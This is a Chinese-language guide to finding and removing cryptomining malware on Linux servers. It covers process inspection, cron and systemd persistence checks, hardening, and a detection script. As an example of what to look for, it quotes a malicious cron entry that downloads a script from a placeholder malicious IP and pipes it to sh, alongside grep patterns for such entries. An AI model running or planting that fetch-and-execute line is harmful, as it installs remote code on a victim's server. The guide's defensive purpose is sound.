CPU 飙升是服务器被挖矿病毒(如 xmrig、kdevtmpfsi、watchdogs 等)攻击的典型表现。这类恶意程序会利用你的服务器资源进行加密货币挖矿,导致 CPU 持续 100% 占用,系统变慢甚至宕机。
下面是一套针对性排查与清除方案,适用于 Linux 系统(如 CentOS、Ubuntu):
🔍 第一步:快速定位高 CPU 进程
# 查看 CPU 占用最高的进程
top
# 按 'P'(大写)可按 CPU 使用率排序
重点关注:
- 进程名可疑(如
kdevtmpfsi、xmrig、sysupdate、networkservice、watchdog、随机字符串) - 用户不是你创建的(如
nobody、daemon、redis等系统用户运行未知程序)
记下 PID 和进程名。
🕵️ 第二步:深入分析可疑进程
假设你发现一个叫 kdevtmpfsi 的进程占用了 95% CPU:
# 查看该进程的详细信息(替换为实际 PID)
PID=12345
ls -l /proc/$PID/exe # 查看它实际执行的是哪个文件
cat /proc/$PID/cmdline # 查看启动命令(可能带矿池地址)
cat /proc/$PID/environ | tr '\0' '\n' # 查看环境变量
常见藏匿路径:
/tmp//dev/shm//var/tmp//usr/bin/.xxx(隐藏文件)/root/.cache/
🧹 第三步:终止进程并删除文件
# 终止进程
kill -9 12345
# 删除对应文件(根据 /proc/PID/exe 的结果)
rm -f /tmp/kdevtmpfsi
rm -f /dev/shm/kdevtmpfsi
⚠️ 注意:有些病毒会通过守护进程或定时任务自动重启!所以不能只 kill 进程!
⏰ 第四步:检查持久化入口(关键!)
1. 检查定时任务(cron)
crontab -l # 当前用户
crontab -u root -l # root 用户
cat /etc/crontab
ls /etc/cron.d/
ls /var/spool/cron/crontabs/ # Ubuntu 路径
ls /var/spool/cron/ # CentOS 路径
🔍 常见恶意 cron 示例:
*/5 * * * * wget -q -O- http://恶意IP/update.sh | sh
@reboot /tmp/.sysupdate
→ 删除这些行,或直接清空可疑用户的 crontab:
crontab -r # 清空当前用户 cron(谨慎使用)
2. 检查 systemd 服务(较新病毒会伪装成服务)
systemctl list-unit-files --type=service | grep enabled
ls /etc/systemd/system/
删除可疑服务:
systemctl stop malicious.service
systemctl disable malicious.service
rm -f /etc/systemd/system/malicious.service
3. 检查 rc.local、init.d 等启动项
cat /etc/rc.local
ls /etc/init.d/ | grep -E "(sys|net|watch|update)"
🔐 第五步:封堵入侵源头
CPU 飙升通常是已有漏洞被利用的结果。常见入口包括:
| 入口 | 修复建议 |
|---|---|
| Redis 未授权访问 | 绑定 127.0.0.1,设置密码,关闭 AOF/RDB 自动加载脚本 |
| SSH 弱密码爆破 | 改用密钥登录,禁用 root 登录,改 SSH 端口 |
| Web 应用漏洞(如 WordPress、ThinkPHP) | 升级 CMS/框架,删除未使用插件 |
| Docker API 暴露 | 不要将 2375 端口暴露到公网 |
| Nginx/Apache 配置错误导致目录遍历 | 检查配置,禁止列出目录 |
👉 立即检查:
# 查看最近的 SSH 登录(是否有异常 IP)
grep "Accepted" /var/log/auth.log | tail -20 # Ubuntu
grep "Accepted" /var/log/secure | tail -20 # CentOS
# 查看监听端口(是否有 Redis 6379、MongoDB 27017 暴露?)
ss -tulnp
🛡️ 第六步:加固与监控
-
启用阿里云「云安全中心」
- 免费版即可检测挖矿行为
- 开启「病毒查杀」+「入侵检测」
-
安装实时监控工具
# 安装 atop(记录历史资源使用) apt install atop -y # 或 yum install atop systemctl enable --now atop -
限制普通用户执行权限
# 例如禁止 /tmp 执行程序(在 /etc/fstab 中添加 noexec) mount -o remount,noexec,nosuid /tmp mount -o remount,noexec,nosuid /dev/shm
💣 极端建议:重装系统
如果反复感染、无法彻底清除,最安全的方式是:
- 在阿里云控制台 创建当前磁盘快照(用于取证)
- 更换系统盘(重装干净的官方镜像)
- 仅恢复业务数据(不要恢复可执行文件、脚本、配置文件)
- 重新部署应用,并严格遵循安全规范
✅ 附:快速检测脚本(可复制运行)
#!/bin/bash
echo "=== 高 CPU 进程 ==="
ps aux --sort=-%cpu | head -n 10
echo -e "\n=== 可疑定时任务 ==="
grep -r "" /var/spool/cron/ /etc/cron* 2>/dev/null | grep -v "^#" | grep -E ".(sh|py|pl|elf)|wget|curl|http"
echo -e "\n=== /tmp 和 /dev/shm 中的可执行文件 ==="
find /tmp /dev/shm -type f -executable 2>/dev/null
echo -e "\n=== 外连可疑 IP(挖矿常连境外)==="
ss -tulnp | grep -E "(4444|5555|3333|stratum)" # 常见矿池端口
保存为 check_mining.sh,chmod +x 后运行。